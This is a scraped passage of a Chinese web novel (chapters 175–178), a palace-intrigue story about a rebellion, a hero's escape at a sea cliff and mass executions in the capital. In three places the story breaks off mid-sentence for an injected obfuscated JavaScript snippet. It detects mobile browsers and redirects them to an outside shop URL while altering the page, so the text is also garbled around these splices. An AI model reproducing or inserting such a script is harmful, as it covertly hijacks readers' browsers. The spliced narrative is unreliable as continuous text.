滕王莫名发闷,晏霁之握着这把铁伞,谢道:“我们也明早离开,一起吧。” 纪荷净随意摆摆手:“行吧。” 钦差一行人住在府衙,入夜,晏霁之独在屋中煮茶,茶水煮沸了又倒掉,再煮,一遍、两遍好几遍,他有些疲乏才停,把霍海啸让他带包福州的茉莉花茶回去的信放碳火上烧了。晏霁之闭目冷静,又把随身佩剑拿来擦拭,静待来客。 万籁俱寂,柳丝缘抱着熟睡的大侄儿进屋,谢英王世子搭救之恩。 晏霁之没多言让柳姑娘去休息吧,柳丝缘告辞,顾效进来,晏霁之看着他的荷包,嘱咐:“明早,我南下福州,我就不见滕王了,你帮我和滕王说吧,让滕王回扬州就把那两位姑娘送还给蓝遂;再告诉滕王,十月,朱存焳就要造反了。” “非去福州不可吗?”顾效望见他的荷包绣着两个字:骗子。 “放心,防身武器都备下了。”晏霁之注视着荷包,仍未抬头:“我要和臧芣缄见一面,沿海若能守住,能不丢就不要丢,还有百姓们撤离,海禁,越是紧急越不能乱。许多事了,不去不行,你也早些歇息吧,战事一起,你有得累了。” 顾效按按他的肩膀,往外走去。 翌日寅时六刻,天还黑着,晏霁之策马南下,一个时辰后,在京畿的虢王带着个儿子和恒山王悄悄乘车出城,皇帝嬴忱璧得信,登皇城楼远望。 “昌隆侯有派幕僚来,恒山王是被绑走?”霍灵渠登高,看咫尺天涯。 嬴忱璧嗯声,霍灵渠若怅然:“恒山王会想伺机回来吗?” “若昌隆侯吃败仗,他会有很多牢骚,但若昌隆侯但凡有一胜,他应该就会很兴奋。” 不情愿还能有虢王的可乘之机被绑走?不情愿,虢王见都休想见得到他,昌隆侯派十个幕僚来都没用,不过是恒山王自己跃跃欲试很窃喜又拉不下脸才会是被绑走罢了。 嬴忱璧估测:“立冬?他们两个大概能在立冬前一两天抵达朱家,三千里,赶半个月,昌隆侯对他们两个应该都没有脾气,能到就行了。” 霍灵渠抿抿唇说:“薛家要举家离京回老家守孝,太上皇会相信吗?” “眼下事多,圣人没闲心思,应该能吧,显国公不想赌也正常,走了才能和晋王断。”皇帝告诉贵妃:“庄太妃让晋王派杀手,显国公若执意要走就让薛家死。” 霍灵渠轻轻摇头:“这都是在帮显国公了。” 皇帝应:“是啊。” 许多人是意外显国公这么放得下?在薛家自家,乐邑不想走,薛述嘉也不想走,他对他祖母病逝都还没回过神来,他之前离家时祖母身体还倍儿棒,怎么还没两个月会突然病殁?平原大长公主最直接,不走!结果平原醒来时,薛家早出京城了。 薛述聪给他娘送碗参汤让老娘沉沉睡了两天。 “你妹妹还在京里呢,她还怀着孩子呢。”平原真生气了:“她和晋王现在处境那么差,你让她一个人大着肚子又带着孩子、娘家人全走了怎么过呀?” “停车,掉头!”平原怒道:“你们不回,我自己回,我一个人回去。” “您且息怒,我告诉您答案。”薛述聪走出车厢,让乐邑扶着母亲跟他去路边空旷处,薛述嘉跟过来,薛述聪低头曝出:“庄太妃与郢国公有染。” 三人不可思议的看着他,薛述嘉懵道:“大哥你说什么呢?” 薛述聪吐露个更严重的情况,三人若天旋地转,平原跌坐泥地上,乐邑好像手被扯脱力感觉自己也要倒下了,平原大长公主想到什么,急急抓住儿子,显国公走来,薛述聪带媳妇和弟弟走开,平原看着他,抱着丈夫哭得心如刀绞,老天啊…… 乐邑走过几步,猛然抓住薛述聪问:“我母妃?”我母妃会受牵连吗? 薛述聪未语,乐邑红着眼睛跑回车厢里,双手捂嘴巴,无声痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13498850|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭。 薛家车队索然前行,霍擎似比薛家人还萧索,在儿孙们面前,他没表现出异样,沉寂、沉思许久,霍擎约见国师。 “大侄子,老头就喊你一声大侄子吧,你想做什么?”霍擎开门见山。 “贫道能做什么?”国师语调懒懒,霍擎目光如炬,盯着他,直言不讳:“譬如,屠戮皇室宗亲,昌隆侯成不了气候,然姬家此时不报仇,更待何时?” 国师扬眉:“老国公还能看到什么?” “长念。”霍擎预见道:“这条路已经通了,这仇报了,蜀王还能做蜀王吗?皇帝与蜀王演场戏钉死魏王,蜀王殁了有一表妹牵挂,皇帝认作义妹,长念长公主。” “老国公真乃当世高人。”国师褒奖。 “想让皇帝放手,代价该有多惨烈?”霍擎苦涩:“国师能否告诉我?” “霍太后死。”国师轻描淡写。 霍擎瞬间闭闭眼,握紧拳头。国师劝道:“老国公当很清楚,必定是这条路,只能是这条路,我能让她嫁嬴家人吗?没有嬴忱璧,还有嬴忱旌嬴忱胜一干人,她得恨嬴家呀,唯有太上皇杀死疼爱她如亲女的皇太后,她才能手刃那位高高在上的圣人。” 霍擎老眼森冷犀利,国师淡漠:“皇帝肯不肯对霍灵渠放手与我无关,但我绝不可能让她嫁嬴家人,那位圣人更得由她来杀,这是个死局。” “国师还真相信老头啊。”霍擎自嘲。 “我有何不敢告诉你,你敢鱼死网破?”国师挑衅。 霍擎咬牙退让:“老头我也没几天活头了,能不能不要做得太急?” “这个我可做不了主,让他也尝尝近乎灭族的滋味后他会变成什么样,得看他。” “当年姬家死不足一千人,一个抵一个,你杀一千个,总可以吧?”霍擎陡然凛若冰霜:“国师,欺人莫太甚!你杀那么多,你还想指望霍灵渠能恨嬴家吗? 我的孙女,你有多清楚?你想让她手刃圣人,可她姓霍!弑君,你不掂量,她会掂量,就算是你让她看到她的姑母被疯癫了的太上皇杀了在她恨意最深的时候,你莫要忘了,十多年前她遭遇过那么多苦难,她走到家门前都能不进家门。” 国师姬洵微顿,霍擎趁此猛进:“灵渠是个有爱的孩子,她不是个会恨的孩子,你想让她按着你给她的路去走,你得懂她,否则你得不到你想要的。” 姬洵沉吟下,只道:“告辞。” 霍擎久久站定,想让朱家万劫不复啊?!他都说了,可笑他都说出来了居然还看不透,要到情势摆在他眼皮底下才参悟。霍擎又闭闭眼,说不出的心口疼。 武襄侯又何尝不是在人前装得坚强,独尝苦痛难受。 霍雄鹰押解犯人回京,侯大姑奶奶被投入大牢,侯瞻渥也被找到打入死牢,他的前妻被送还给太微宫,升平大长公主找刑部找大理寺找能管到的要给侯瞻渥脱罪,闹得快呕血了,她昏厥被送回公主府,小辈们劝她去求太上皇,升平咬牙没吱声。 瑞执带小妹来探望长姐,在屋外半响,瑞执转身走人,新都想笑,那么想救侯瞻渥怎么不肯去求皇兄?抵不过自己的心气啊,她是长姐嘛,她觉得弟弟该捧着她。 几位朱家旁系进京,昌隆侯的大侄子状告这个四叔杀害他的祖母和父亲,昌隆侯的二兄和三兄以及族叔等纷纷上书列数朱存焳的罪状,要将朱存焳这一支逐出朱家。 皇帝拿到晏霁之最新的消息,入夜后去关雎宫,没有瞒着:“晏霁之进福州了。” 霍灵渠心揪揪,比她自己想的平静,将小婴儿竖抱,心像压着大石。 176. 第176章 一千多里外有大军压境。 再有底,朱家驻军潮州的线报送来,获讯的人们还是绷紧了,整个官署犹若风声鹤唳,府衙里的一草一木、一片掉落的枯叶都像绷着,亥时末了,官衙还灯火通明,下人给忙碌的大人们送上宵夜,晏霁之没理会,臧芣缄拎过食盒,拿银针检查。 银针黑了! 臧芣缄诧然看向晏霁之,非常时刻,银针查验是照例防范,未想真会出事。 “朱芑适还没到,况且在朱家造反前,朱芑适绝不会多事的想去害你。”晏霁之猜测:“朱芑适两个庶弟率先进福州了,应该是他这两个庶弟吧。” “这是想向昌隆侯邀功。”臧芣缄把银针扔肉包上。 “昌隆侯想你倒向他,若不能,也得留着你以稳住太上皇,假若你在朱家造反前遇害了岂不给他们自找麻烦?朱芑适故意放过来,想借你我的手收拾了。”晏霁之摇头:“这样拎不清的庶弟还是这么拙劣的手法,朱芑适至于还看在眼里么。” 天将破晓,两位朱少爷被抓来,五花大绑的跪着。 “你们在城中的细作,确认下吧?”晏霁之阅过,晏一将两张薄薄纸片摆这两人面前,被押着的二人只挣扎,晏霁之客气道:“来前,从没想过是朱芑适故意放你们过来吗?你们两位和你们生母柴姨娘既从不肯放弃相争,朱芑适又怎能容你们活命?” 两人微愣,停住挣扎,晏霁之问:“还有缺漏吗?” 兄弟两个互看眼,皆摇头,晏霁之否道:“我还有张名单没拿出来,怎会没有缺漏了,朱芑适想借借我的手替他收拾两个庶弟,我自然也没什么不乐意,斩。” 朱三和朱四惊恐看向他,也许真没想过晏霁之敢杀他们,惊悚定格,晏七两刀砍下,这两颗头颅落地,晏霁之再对臧芣缄说:“劳你帮我把他们送还给昌隆侯了。” 臧芣缄轻嗯点头,小厮们进屋清理,晏霁之行至廊前看天际渐白,音若喃喃飘散:“应该就是翟猛和朱芑适来打沿海,昌隆侯走韶州了,叛军到后只能你自己把握了。” “你也小心。”臧芣缄眉目高视,披荆斩棘。 扬州是灰蒙蒙的阴天,压在上空的云层似有千丈高,酒靡儿和汪撷坐轿各回各处前不约而同回望眼,看见云海好像裹挟着雷霆万钧之势,风雨欲来。 许多官员都聚在巡抚衙门了,魏王坐镇,霍绥业嫌魏王闷得坐不住,滕王在边上走圈。 禁军快马赶来呈上旨意,魏王看过公文,拿令牌传令顾效:“率兵八千,进韶州。” 顾效领命退下,滕王和好些人想松口气,太上皇能同意调兵防范就好,若不然,若真等昌隆侯叛乱被打个措手不及再发兵征讨当然与提前防范相去甚远。 又有信送来给魏王,魏王展信,眼神一闪,信上说:当心代王。 是霍擎的信。 老穆国公不仅给魏王送信,还进宫去进谏了——让魏王速速回京:“老臣恐,代王会想暗杀魏王挑动河间军,代王想拿河间军已久,河间军中不会没有代王的细作。” 正徽帝嬴忱璧沉吟稍许,忽念起:“芮尚书近来可好?” 霍雄鹰颔首禀:“陛下安,芮尚书甚好,和平常时候一模一样。”淡定得都能让人怀疑他不寻常了,还怕别人怀疑不了他吗?霍雄鹰在心里对芮老头翻白眼。 虢王府的消息送来,霍雄鹰又想翻白眼了,大张旗鼓的还妄想逃跑。 虢王妃还在城门前跟守卫争执呢,虢王妃在虢王离府几天后察觉不对劲,气得心口疼,忙不迭收拢财宝要带儿孙们离京,来到城门前被拦住了,眼下戒严,百姓们往来不管,但大臣和官眷,不论亲王贵胄还是末品小吏想出城都必须有圣人和陛下的手谕。 去哪个城门都被死死拦住,虢王妃火冒三丈,恨恨吩咐马车掉头,去恒山王府。 章醇郡主和梅浮雪带着一双儿女坐在同一辆马车里,章醇眼神空空,儿女们哭泣起来,梅浮雪置若罔闻,章醇郡主打个冷颤回神,连忙把孩子们搂在怀里。 晋王去小觉庵扑个空,太上皇将庄太妃接去太微宫了,晋王攥紧拳头。 晋王妃在家里发火,娘家狠心抛下她离京后,晋王妃的火气就再没消下去过。恒山王妃是在别人家发火,她比虢王妃早些发现情况,可又能如何?走不了了呀!恒山王妃把屋子砸稀巴烂还不能消解她一点点窝火,她不管不顾的去桓国公府砸。 笼罩在京畿的凛冽终于降落下来。 寒冬已近。 相隔数千里的福州夜,寥寥星光伴着树儿眠,昌隆侯座下第四幕僚宫蓬趁夜出走,山林中兀然亮起众多火把将宫蓬围住,孟怋乂走出来:“三更半夜,这是要去哪儿?” 宫蓬抿唇未语,孟怋乂取出纸条问:“宫蓬先生一定爱国吧,就这么一句话?” “对!”宫蓬铿锵有力道:“我可以不去在意朱家到底做下了多少伤天害理的事,但我绝不可能给一个反贼做事,你们想造反,我与你们只能分道扬镳。” “哪怕你今夜死在这荒郊野岭?”孟怋乂告诫。 宫蓬岿然不动,孟怋乂咂摸:“好一个,宁死不屈。” “不过你今夜不会死,接你的人来了。”孟怋乂看过去,围拢的火把让出条路,晏霁之握着把装饰的银骨扇带着护卫走来,晏霁之笑:“这么相信我会来啊?” 孟怋乂扬扬字条,晏霁之提议:“我留下,让宫蓬先生跟我的护卫们走吧?” “你一人?”孟怋乂确认遍,晏霁之莞尔:“我不介意你以多欺少。” “我也不介意。”孟怋乂眉眼间是不以为意的轻视。 晏霁之摆摆银骨扇,晏诺请宫蓬上马,宫蓬先生谢过他们,跟这几位护卫离开。 远去的马蹄踏响,晏霁之笑意不辍,刚一个眼神交锋,数不清的石头从四面八方袭来熄灭火把,追逐和刀剑撞击在黑夜里时断时续,夜散了,大地一片青色,晏霁之退至海崖边,他设置了个火圈在他方圆三丈外以拒敌,孟怋乂笑他多此一举。 “你是故意往这边走,但你跳下去一样没有生路。” “孟先生面面俱到当然什么都防范到了,包括我会想跳海逃生。”晏霁之视线远眺,衣袍虽难免沾着些泥,仍是翩翩公子,孟怋乂对他还是不错的:“六月里,你到福州之后曾来此查看,你当时一定有一个想法是这里会不会变成你的葬身之地?” 晏霁之承认:“是。” 朱芑适带着檀慈走出来,还没奚落他,晏霁之见着朱芑适反而神情轻快了些:“看在我够配合把你那两个庶弟收拾了,别给我放箭了吧,我是个讲究人。” “会给你安葬的。”朱芑适宽慰:“什么遗言?” “你才遗言,我还没娶媳妇呢,我一定绝处逢生。”晏霁之意味深长的看过孟怋乂,孟怋乂眼神微闪,晏霁之转过身一跃而下,他设置的火圈屏障也被扑灭,两队弓箭手冲到崖边拉弓射箭,朱芑适站到崖前,无数箭矢射过,朱芑适下令下崖。 孟怋乂看火红的朝阳在冉冉升起,随众下崖去。 他们乘船至晏霁之坠崖的大致位置就见海面飘着血水,黑血,再驶近,冲在前的死士少数留守礁石,多数在附近查找,那礁石散落着不少箭矢和一把铁伞,还有颜色最深的黑血。孟怋乂握过铁伞,推断道:“见血封喉,他若中箭,必定没命。” “就算他有防备能抵抗一阵,海上方圆五十里已经封锁,他逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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痛苦压抑过大半个上午,霍灵渠逐渐冷静,把他们叫来再问遍,皇帝嬴忱璧至,霍漓江和晏墉、霍秦川、霍海啸站起来请安,霍灵渠还没反应,皇帝走到贵妃面前。 “霁之应性命无虞。”霍灵渠得出结论,嬴忱璧哼:“晏卿给贵妃报平安了?” “没有啊,我推测的。”霍灵渠说,霍秦川想捂捂脸。 嬴忱璧问:“贵妃怎么推测的?” “他一人被困在崖边,跳崖,失踪。”霍灵渠合理的怀疑:“独自一人与朱家对峙必是他有意为之,他完全可以埋伏好人手将朱芑适反杀,他没有这么做,是因为,”霍灵渠停住,抬眸望向皇帝,反问:“陛下以为何故?” “贵妃以为呢?”嬴忱璧仍然将疑点踢回。 霍灵渠怼:“你果然是,跟你说多少遍晏霁之很讲究你都不懂他的讲究。” 嬴忱璧:“……” 皇帝就差面无表情了:“那么贵妃的高见是?” “当然因为他埋伏好人手将朱芑适杀了仍然要被追杀,他哪能愿意东躲西藏的逃窜。”霍灵渠理所当然道,被这理由无言以对的霍家三位和皇帝:“……” 真是个大少爷!霍秦川心说晏墉一定晓得儿子没事,就是不愿意说出来。 梅斗在立冬见着孟怋乂,一样的质疑:“英王世子既有意往崖边撤退,你们围困他时,他竟然没有在你们身后设下埋伏,他消失得那么轻而易举。” 孟怋乂淡淡:“他自负吧。” 梅斗的反斥硬卡在喉咙里说不出来,沉默半响,他终究没对昌隆侯多言。 被挨个猜安然无恙的晏霁之死里逃生还是受伤了的,昏迷醒来,师傅师兄也捡到他了,师兄喜极而泣,晏霁之:“我还活着。”师兄僵下,还是怪心酸难受,张神医骂咧咧:“少出点风头能少块肉啊,看看好了吧,差点把命搭进去就舒坦了是吧?” 师弟巴巴看向师兄,师兄很好的忙安抚师父,都安抚好,安抚好。 晏九晏十赶到,单膝跪地请罪:“属下来迟。” 晏霁之按按放在心口的荷包,闭目道:“没迟。” 而朱家,立冬过后,昌隆侯以恒山王奉密旨诛剿霍家的名义,发兵北上。 177. 第177章 朱家号称有三十万众! 军情迫在眉睫,各州县以最快速度报去京畿,时隔六天,朝廷确凿朱家造反。 君王震怒! 在皇帝和太上皇雷霆大怒之下,京城的屠杀落下,虢王和恒山王的家眷、密切的亲属,包括虢王妃的娘家与恒山王妃的娘家、儿女姻亲,章醇郡主的夫家梅家等等皆判满门抄斩,桓国公府夺爵,虽然和朱家造反无关但大家都看得出来太上皇迁怒了。 被夺爵的桓国公挺感恩,只是夺爵而已。 虢王妃则已疯癫,她是知道朱家造反了都没想过她会死,官府来抄家,她都还要闹事,被打入死牢没多久,人就疯了。虢王世子在狱中撞墙,没人拉他,他也没磕破皮流血,反而还是他自己痛得大悲大喊,恒山王妃都想撞墙,省得明天被押到法场砍头。 没有撞墙的勇气,恒山王妃就看热闹,看虢王妃多好笑,多幼稚天真啊简直愚不可及,那俩人都逃走去造反了还没想过他们这些家眷会死,可,看着看着,恒山王妃泪流满面,她多想她也疯了吧,死前做个疯子总比清醒着强。 死牢里人满为患,章醇郡主的儿女不知被谁踩到且又被这样的场面吓到,先后哭起来,章醇抱住儿女呆呆说不哭不哭,她看向对面的丈夫,梅浮雪低沉得像个死人。 班瑛峡带着两个孩子出现在死牢外,孩子们哭着喊:“爹——” 梅浮雪迟钝转头,看见他们,突然像活了过来:“走,快走,走,走!” 他怕连累他们。 班瑛峡把食盒放下,说:“明天就要……” “这是我和孩子们亲手做的饭菜,你都吃了吧,要吃饱了。”班瑛峡也难受。 “走,走!”梅浮雪不看他们,班瑛峡牵住两个孩子快步走掉,梅浮雪颓然凄楚倒下,章醇郡主不自觉眼泪流,她记不得她孩儿的爹爹有多久没有关心过她的孩子了。 第二天行刑,章醇跪在法场上望望天空,原来天是血色的呀。 虢王的长姐饶香郡主和家人挤在围观的人群里,饶香郡主心弦紧绷,与虢王决裂,她的丈夫和儿女都不赞成,没少怨怪她,乃至还想和虢王修好,这会儿是真庆幸了。 护国公夫人更想庆幸,原牧蔷看得抱住二嫂的手臂,原二奶奶都有点五味杂陈。 班丞相陪皇帝隐没在人群,身侧有动静,丞相看见武襄侯站过来,相爷在心里叹气。 前天夜里,武襄侯夫妇的次子侯瞻朴劫狱被抓,打入大牢了。 皇帝是带着贵妃出宫,没带贵妃来法场,将贵妃送去萧家看望堂姐了。 舒窈姐姐前几天诞下个女儿,两双儿女俱全啦。 霍灵渠在萧家见过外甥们,送过礼物,萧夫人带孙子孙女和奴婢们离去,她能和姐姐在屋里说些体己话时都不怕忌讳扫兴:“今天处决的就有两千多人。” “这算什么,这是杀来祭旗以壮声威的,若说清算,这连零头都不算。”霍舒窈戴着抹额靠在床头,看得很淡:“等把逆贼剿灭了清算时,那才要叫多呢。” 霍灵渠闻言就想到侯家:“侯瞻朴劫狱了,今天出宫,皇帝本想去看看侯瞻朴,侯瞻朴做人是他们兄弟中最好的,还是逃不过母亲胡搅蛮缠。我跟皇帝猜,侯瞻朴知道他不可能把侯瞻渥劫走但他被亲娘逼得没办法了,只好把自己也送进牢里,清净了。” “二哥还说呢,这娘不把二儿子逼进牢里怕不能消停了,真被二哥言中了。”霍舒窈好笑:“我还跟你姐夫说,萧灼灼一家连朝中的形势都不愿意看,一门心思就只能装见自己,这伙更厉害,这是在他们眼前了他们还要闭上眼睛当什么都不知。” “姐夫还没有回来?”霍灵渠意识到。 “没呢,叔祖送信来又提了个隐忧,怕他们回到山东都逃不掉。”霍舒窈嫌:“一个不好要把他们全家绑起来扔去山洞洞里藏着才能躲得过了。” “若躲过了,这亲兄弟也没得做了吧。”霍灵渠猜想,若非有可能危及全族,萧岐可能都懒得多事,霍舒窈讽刺:“是啊,反正随他们,成陌生人,我还清净些。” “陌生人?”霍灵渠聊胜于无的陈述:“我们和娉姨娘霍鸳娇都要做陌生人了。” 娉姨娘和霍鸳娇合谋在立冬夜把娉姨娘送给愗郡公了。 “其实没啥意外的,真要说意外,我还意外她们能挨到立冬。”霍舒窈就事论事:“否则娉姨娘以后怎么过?她要跟着霍鸳娇跟到死了,那以霍鸳娇姨娘的身份,那么尴尬的在愗郡公府过着,当然还不如彻底给愗郡公做妾。” 霍灵渠不同意:“贾姨娘今后也要跟着晏明绾跟到死了。”贾姨娘会做娉姨娘那种事吗,显然不可能,霍舒窈无语:“你还想对娉姨娘和霍鸳娇有什么指望?” “唉。” 霍灵渠看过堂姐,回霍家,一进府门被婢女请去前院老太爷的书房。未料,皇帝和魏王还有她爹和大伯大哥都在,霍灵渠古怪:“你们谈事情喊我来做什么?” “是魏王要请娘娘。”霍秦川告状:“王爷昨夜回京,没回自家就来霍家了。” 霍灵渠狐疑的打量魏王,有不好的预感,魏王像在包藏祸心,魏王略过某人,自白道:“本王的意思,代王想打河间军的主意,就把兵符送给他。” “好啊。”霍秦川第一个赞成,霍灵渠差点想瞪她大伯。 “朕也觉得可行,皇兄安排吧。”皇帝允道。 霍灵渠握拳,难怪魏王要来霍家,果然包藏着祸心,就是冲她来了!魏王莞尔:“但,兵符不在本王手上,本王就是想送也送不了啊。” “那王爷还做此提议是何意,想霍家帮你做个假的?”霍漓江数落:“您自个儿找11年都没有找到,你总不能指望我们这几天就帮你把兵符找出来吧。” “本王已经找到人了。”魏王相告:“只是此人还不愿把兵符给本王。” 霍擎瞥过魏王又看向他孙女,魏王要请贵妃来谈此事总不可能是画蛇添足吧? 霍灵渠呵呵,都想给魏王两个白眼了,可算被他找到机会了是吧!霍漓江爽快:“行,王爷就说吧这人谁啊,本侯一定帮王爷你搞定他。”搞定了你就赶紧走吧。 “你女儿。”魏王痛快公布,霍漓江:“……” 旁观的皇帝嬴忱璧&霍秦川:“……” 霍擎唏嘘,一样怀疑魏王要找贵妃来有古怪但真不敢想的霍海啸抬手揉揉眉心,霍秦川眨巴眨巴眼睛看侄女,霍灵渠瞪瞪,皇帝关注贵妃,霍灵渠再瞪。 嬴忱璧轻咳道:“皇兄在说笑了吧。” 魏王兴味盎然:“贵妃可把当年怼本王的话原模原样转告给陛下。” 嬴忱璧莫名涌起股心有余悸,预感会有似曾相识的画面让皇帝有点呆愣,霍灵渠上前,面对着皇帝居高临下:“你大哥说保管兵符之人,你认识,父皇母后也认识。” 说着,霍灵渠抬腿踩椅子上,揪起皇帝的耳朵吼:“这不就是我,怎么就不能是我了,我不认识你还是不认识你父皇母后,你看不起谁啊啊啊!!” 霍秦川默默转头。 又被贵妃训得差点耳朵疼的皇帝嬴忱璧险些呆懵,贵妃放过他去喝茶,嬴忱璧保持住,心想这皇兄一定故意的,当年一定被贵妃狠狠骂过了所以非要找补回来。 霍擎感惜,灵渠是找了悼太子,悼太子生前将灵渠托付给魏王。霍漓江都想瞪魏王了,合着是11年多没能把兵符从他女儿手里拿过去,逮着个机会非要来扬眉吐气了。 “兵符不在灵渠手上吧?”霍海啸肯定:“否则,王爷该早拿到手了,除非是,兵符不在灵渠手里,灵渠只是知道兵符藏在哪儿。” 霍灵渠嗯:“大哥哥给了我一个长命锁,长命锁里有一封他给我的信,大哥哥让我十八岁生辰再打开长命锁看信,我才晓得大哥哥托付保管兵符之人是我。” 霍秦川不识趣的打碎侄女的感伤:“那娘娘您会去北地?” 霍灵渠瞪过去,重重哼:“就是你想的那样,去做细作的。” 魏王高冷,霍灵渠给他甩几个眼刀,他也能直接无视。霍秦川想抹把脸,得,这下是都理清楚了,魏王想把原家拔掉,他侄女不肯答应,霍灵渠手里握着河间军啊这不就把魏王的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍秦川苦逼啊:“你妹妹当时还带着个妹妹和原家的小娃呢。” 魏王是不会拿霍桑柔来威胁吗?不是魏王不会,就是真要有得纠缠了。但对于这一点,霍海啸都想略过,重复震撼:“居然是灵儿握着河间军。” “是啊,十余年,这丫头居然从没想过要用,还是她背着大仇的时候。”霍秦川远望:“悼太子是真会找人了,丫头当年不进家门对悼太子也是极大的震撼吧。”所以悼太子愿意去相信去托付,宁可托付给那时才十三四岁的小丫头。 嬴忱璧当然更不可能想不明白。 皇帝和魏王在想撤,哥俩谁都不想待到傍晚,霍灵渠不想走,他们找霍桑柔,带霍桑柔去暴打庄太妃,霍桑柔麻溜答应,霍灵渠想对这对兄弟扬扬拳头。 他们来到太微宫,给太上皇请安报备过,皇帝和魏王转去太微宫的地牢。 这几天,两个假冒货,庄太妃,王夫人祖孙都关着呢,翟丽守信把人送来了,太上皇就把他们五个关一起了。当中,庄太妃最受欺负,另外四个都觉得自己是被庄太妃连累,四人一起欺负她一个,霍桑柔冲到地牢前,找一圈险些没认出来。 庄太妃脸肿淤青,肿得像个碗盆大的馒头。 霍桑柔微怔,牢里几人瞧见她都没反应,魏王走到,庄太妃才有点响动。 “俊儿,俊儿,你跟你父皇说,姑姑真不知朱家要造反啊。”王夫人看见侄儿,一骨碌爬起来哭诉求助,魏王闲闲的搭个话:“四叔谋逆,你不就向着四叔了。” 王夫人一噎,辩解道:“俊儿你不能这样说,你四叔,你四叔是你叔叔,不论是我和你四叔还是我和你父皇,我们是一家人,都是嬴家子孙,这和朱家根本没得比……” 庄太妃下意识挺直脊背,自嘲。 “还打吗?”魏王问霍桑柔,霍桑柔愣下点头,当然要打。 魏王传宫人来开门。 霍灵渠远远注视着,没有再走近,嬴忱璧自言自语:“圣人将庄太妃接来太微宫以后,晋王还没有来看过生母。”惹得霍灵渠看皇帝,嬴忱璧轻呢:没事。 霍灵渠片刻才懂,晋王连来找父亲想看生母都不敢,还想造反,谁会把他看眼里。 皇帝是在想一个狠字。 178. 第178章 刻不容缓,对平叛,朝廷自是火速应对。 霍海啸携晏朗之率八万大军南下,他们作为先锋兵马先过去,再派老将。 “八万?” 远在老家的显国公关注京中的局势,念着八万,笑了。 薛二老爷猜:“八万人,能去二万人都算多了吧?” “一个士兵都不会去的,朝廷被打个措手不及都不至于才开打就要调京畿的驻军过去,何况朝廷准备半年了。”显国公鄙笑:“郢国公啊,眼神是真的差。” 郢国公是摊上事儿了。 魏王去查晏霁之状告郢国公一案,没查出线索指向,但魏王查到郢国公府和曾经的郗家过从甚密有同恶相济之嫌。南疆捷报传来,镇南侯兵临交趾国都城下,声讨一同而来,镇南侯府后宅女眷无辜被害,众人查三年多查到凶徒出自郢国公府。 镇南侯麾下将领搬出皇帝答应赏赐他们一个恩典,他们请求陛下—— 让郢国公给他们一个交代! 皇帝和太上皇让郢国公暂且停职,责令大理寺详查。 晋王当夜就去了郢国公府。 没两日,英王自证清白,嬴隐鹤是被郢国公暗中杀害,还有代王世子曾南下暗杀钦差,英王请圣人和陛下做主。 代王和郢国公喊冤,指晏墉污蔑包藏祸心。 皇帝面对这一堆破事,把代王世子和郢国公父子全下狱,让房副相率大理寺和御史台彻查。 京中还在查反贼的同伙。 侯瞻逊黑夜回府,老父等在他屋里,他平静的说他要歇息了。 “你在做什么?”武襄侯威怒:“想造反,就你们?” “您可以去告发我。”侯瞻逊一点没藏着掖着,反威胁:“把我送上断头台,不,不止,是把包括我在内的您的儿孙全送上断头台,圣人和陛下念在您大义灭亲,一定不会累及您,就是您和我娘再没有儿孙能送终,您真要过继个侄儿了。” 武襄侯勃然站起,铁青着脸虎虎盯着这个长子。 侯瞻逊吃定了:“您没得选了。” “比起侯氏一族的存亡,我小家的生死,我会掂不出轻重?”武襄侯冷笑。 “大义灭亲,好样的,您一定会被皇帝树做大臣的楷模。”侯瞻逊蔑视:“不过,既然要大义灭亲,您不如先把侯瞻渥料理了。娘和二妹三妹在商量,若是非得给二叔家赔一条命,是不是瞻渥又有什么关系?娘在想,把瞻让赔出去,把瞻渥换出来。” 侯瞻逊上前步:“爹,您这样公道,断然不能容许吧?” 武襄侯真的感到疲惫:“是你出的主意?” “重要吗?”侯瞻逊好笑:“那得是个什么样的娘才能认可这种主意?” 武襄侯跌坐下来,倦怠的闭闭眼睛,侯瞻逊讥讽:“您猜,若是瞻渥在牢里死了,就是我派人做的,娘也知道凶手是我,她会怎样,她会想给瞻渥报仇吗? 不会,我告诉您,她会当做不知道,她只会愈发疼爱我乃至讨好我,您的这个枕边人,生下我的这个人,她谁都不爱,她可以谁都不在乎,她只爱她自己。” 武襄侯抬头打量这个长子:“霍家找过你?” “对,霍海啸找过我,这是他的看法,但,我信。”侯瞻逊瞋目切齿:“我细想想,若是我杀死侯瞻渥,老太太会是什么反应?就是这反应,是不是很讽刺,多可悲。” 武襄侯大步往外走。 侯瞻逊扯扯嘴角,溢出声嗤笑。 侯瞻让是被幼妹通知的,让他顾全大局,不是请求他同意,只是知会他,他答不答应、肯不肯配合都无关紧要。 侯瞻让想这一定是他有生以来过得最冷的冬天,什么叫顾全大局:“三妹,你怎么有脸、有这个嘴巴跟我说这种话?” “小弟是娘的命根子,小弟若死了,娘也活不下去了。”侯三姑奶奶比小弟年长八岁,她定定心,抿唇劝道:“看在娘生你养你的份上,三哥,你就当孝顺娘吧。” 侯瞻让红着眼睛盯着幼妹,侯三姑奶奶低头快步逃离,侯瞻让仰头大笑。 心里冰凉又发烫,侯三姑奶奶火烧眉毛似的赶回家,趁着热劲儿,她去找姐姐回娘家,和母亲谈好,宽慰好娘亲后退出屋,在庭前被老父和长兄堵住,姐妹俩向父兄见礼。 “我和爹说了你们的打算,爹公道,怎么能容许你们做这样的事。”侯瞻逊以牙还牙:“既然给二叔家赔一条命,不是瞻渥,谁都可以,那作甚非得让瞻让赔,你们也可以嘛,你们谁给娘办这事,我和爹就让你们谁去赔这个命。” 姐妹俩不可思议的看着这大哥。 